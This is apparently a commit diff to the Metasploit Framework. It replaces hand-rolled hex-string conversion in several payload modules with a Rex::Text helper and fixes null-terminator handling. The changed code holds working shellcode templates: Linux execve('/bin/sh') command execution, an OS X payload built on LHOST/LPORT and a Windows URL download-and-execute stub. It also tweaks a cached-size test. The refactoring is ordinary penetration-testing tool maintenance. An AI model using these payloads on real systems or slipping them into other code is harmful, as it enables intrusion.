Use rex-text hex string helper, fix module assembly null-terminated string usage

Use rex-text to_hex_cstring keyword arg
This commit is contained in:
sjanusz-r7
2026-05-08 11:48:34 +01:00
parent 8e432f69ca
commit 79b0fd6edc
11 changed files with 41 additions and 37 deletions
+3 -3
View File
@@ -168,8 +168,8 @@ class PayloadCachedSize
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Integer, String]
def self.compute_cached_size(framework, mod)
return ":dynamic" if is_dynamic?(framework, mod)
def self.compute_cached_size(framework, mod, generation_count: 10)
return ":dynamic" if is_dynamic?(framework, mod, generation_count: generation_count)
mod.replicant.generate_simple(module_options(mod)).bytesize
end
@@ -180,7 +180,7 @@ class PayloadCachedSize
# @param generation_count [Integer] The number of iterations to use to
# verify that the size is static.
# @return [Boolean]
def self.is_dynamic?(framework, mod, generation_count=10)
def self.is_dynamic?(framework, mod, generation_count: 10)
return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize
opts = module_options(mod)
last_bytesize = nil
+7 -4
View File
@@ -40,7 +40,6 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
@@ -99,12 +98,14 @@ module MetasploitModule
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ', 0x20'
cmd_bytes += ', 0x20'
cmd_length += 1
end
end
@@ -147,9 +148,11 @@ module MetasploitModule
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
tocall:
call afterjmp
db #{cmd} ; arbitrary command
db #{cmd_bytes} ; arbitrary command
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 37 bytes without cmd (not null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f
@@ -166,7 +169,7 @@ module MetasploitModule
push rdx ; NULL
call continue
db #{cmd}, 0x00 ; arbitrary command
db #{cmd_cstring} ; arbitrary command
continue:
push rsi ; "-c"
push rdi ; "/bin/sh"
@@ -36,7 +36,7 @@ module MetasploitModule
if length > 0xff
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
end
hostname = hostname.bytes.map { |byte| '0x%02x' % byte }.join(', ')
hostname = Rex::Text.to_hex_cstring(hostname, nullbyte: false)
payload = %^
push 0xffffffffffffff56 ; sethostname() syscall number.
+7 -4
View File
@@ -53,7 +53,6 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
#
@@ -95,12 +94,14 @@ module MetasploitModule
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ', 0x20'
cmd_bytes += ', 0x20'
cmd_length += 1
end
end
@@ -130,9 +131,11 @@ module MetasploitModule
int 0x80
tocall:
call afterjmp ; call/pop cmd address
db #{cmd}
db #{cmd_bytes}
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 36 bytes without cmd (not null-free)
payload = <<-EOS
push 0xb
@@ -146,7 +149,7 @@ module MetasploitModule
mov ebx, esp
push edx
call continue
db #{cmd}, 0x00
db #{cmd_cstring}
continue:
push edi
push ebx
@@ -34,7 +34,7 @@ module MetasploitModule
def generate(_opts = {})
fd = datastore['FD']
path = (datastore['PATH'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
path = Rex::Text.to_hex_cstring(datastore['PATH'] || '')
payload_data = <<-EOS
jmp file
@@ -66,7 +66,7 @@ module MetasploitModule
file:
call open
db #{path}, 0x00
db #{path}
EOS
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
@@ -43,8 +43,7 @@ module MetasploitModule
raise ArgumentError, 'LHOST must be in IPv4 format.'
end
cmd = (datastore['CMD'] || '') + "\x00"
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
cmd = Rex::Text.to_hex_cstring(datastore['CMD'] || '')
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })
@@ -81,7 +80,7 @@ module MetasploitModule
xor rax,rax
mov eax,0x200003b
call load_cmd
db #{cmd}, 0x00
db #{cmd}
load_cmd:
pop rdi
xor rdx,rdx
@@ -124,9 +124,9 @@ module MetasploitModule
# get protocol specific stuff
server_uri = server_uri.bytes.map { |byte| '0x%02x' % byte }.join(', ')
filename = filename.bytes.map { |byte| '0x%02x' % byte }.join(', ')
server_host = server_host.bytes.map { |byte| '0x%02x' % byte }.join(', ')
server_uri = Rex::Text.to_hex_cstring(server_uri)
filename = Rex::Text.to_hex_cstring(filename)
server_host = Rex::Text.to_hex_cstring(server_host)
# create actual payload
payload_data = %^
@@ -226,7 +226,7 @@ module MetasploitModule
call httpopenrequest
server_uri:
db #{server_uri}, 0x00
db #{server_uri}
create_file:
jmp.i8 get_filename
@@ -297,13 +297,13 @@ module MetasploitModule
get_filename:
call get_filename_return
db #{filename}, 0x00
db #{filename}
get_server_host:
call internetconnect
server_host:
db #{server_host}, 0x00
db #{server_host}
end:
^
self.assembly = payload_data
@@ -40,8 +40,8 @@ module MetasploitModule
# Construct the payload
#
def generate(_opts = {})
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -91,10 +91,10 @@ module MetasploitModule
call ebp
push #{style}
call get_title
db #{title}, 0x00
db #{title}
get_title:
call get_text
db #{text}, 0x00
db #{text}
get_text:
push 0
push #{block_api_hash('user32.dll', 'MessageBoxA')}
@@ -42,8 +42,8 @@ module MetasploitModule
display = datastore['DISPLAY'] || 'HIDE'
url_length = url.bytesize
file_length = file.bytesize
url = url.bytes.map { |byte| '0x%02x' % byte }.join(', ')
file = file.bytes.map { |byte| '0x%02x' % byte }.join(', ')
url = Rex::Text.to_hex_cstring(url, nullbyte: false)
file = Rex::Text.to_hex_cstring(file, nullbyte: false)
payload = %^
cld
@@ -36,8 +36,8 @@ module MetasploitModule
end
def generate(_opts = {})
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -90,11 +90,11 @@ module MetasploitModule
call rbp
mov r9, #{style}
call get_text
db #{text}, 0x00
db #{text}
get_text:
pop rdx
call get_title
db #{title}, 0x00
db #{title}
get_title:
pop r8
xor rcx,rcx
@@ -107,11 +107,10 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
reference_name: reference_name
)
next if reference_name =~ /generic|peinject/
next if reference_name =~ /generic/
pinst.datastore['CMD'] = '/bin/sh'
generated = pinst.generate
expect(generated).to_not be_nil
generated_size = ::Msf::Util::PayloadCachedSize.compute_cached_size(framework, pinst, generation_count: 1)
expect(generated_size).to eq(':dynamic').or be_a(::Integer)
end
next if reference_name =~ /generic|peinject/